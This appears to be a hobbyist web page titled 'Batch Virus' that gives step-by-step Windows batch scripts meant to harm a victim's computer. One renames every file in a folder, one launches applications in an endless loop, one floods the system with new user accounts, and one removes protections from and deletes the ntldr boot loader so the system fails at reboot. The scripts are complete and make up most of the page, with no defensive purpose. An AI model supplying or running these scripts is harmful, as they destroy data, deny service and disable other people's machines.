BATCH VIRUS

   

What can batch viruses do ?

 

Change extension of all files in a folder

This is a simple hack to change extension of all files of folder.

• Open Notepad.
• Copy the below mentioned text in your notepad file:

ren *.* *.mp3

•  Save the file with .bat extension like anything.bat. You can change extension of code with anything like .jpg,.exe,..bat,.dll etc 

Application Bomber

• Open Notepad.
• Copy the below mentioned text in your notepad file:

@echo off

:x  

start winword 

start mspaint 

start notepad

start cmd 

start explorer

start control

start calc 

goto x 

• Save the file with .bat extension like anything.bat.

User Account Flooder 

• Open Notepad.
• Copy the below mentioned text in your notepad file:

net user %random% /add

• Save the file with .bat extension like anything.bat.

Deleting Boot files

Goto C drive in Win XP , Tools---Folder Option---View

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

 Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.  

• Open Notepad.
• Copy the below mentioned text in your notepad file:

attrib -S -R -H C:\ntldr 

del ntldr    

•  Save the file with .bat extension like anything.bat.

When victim reboot system it shows error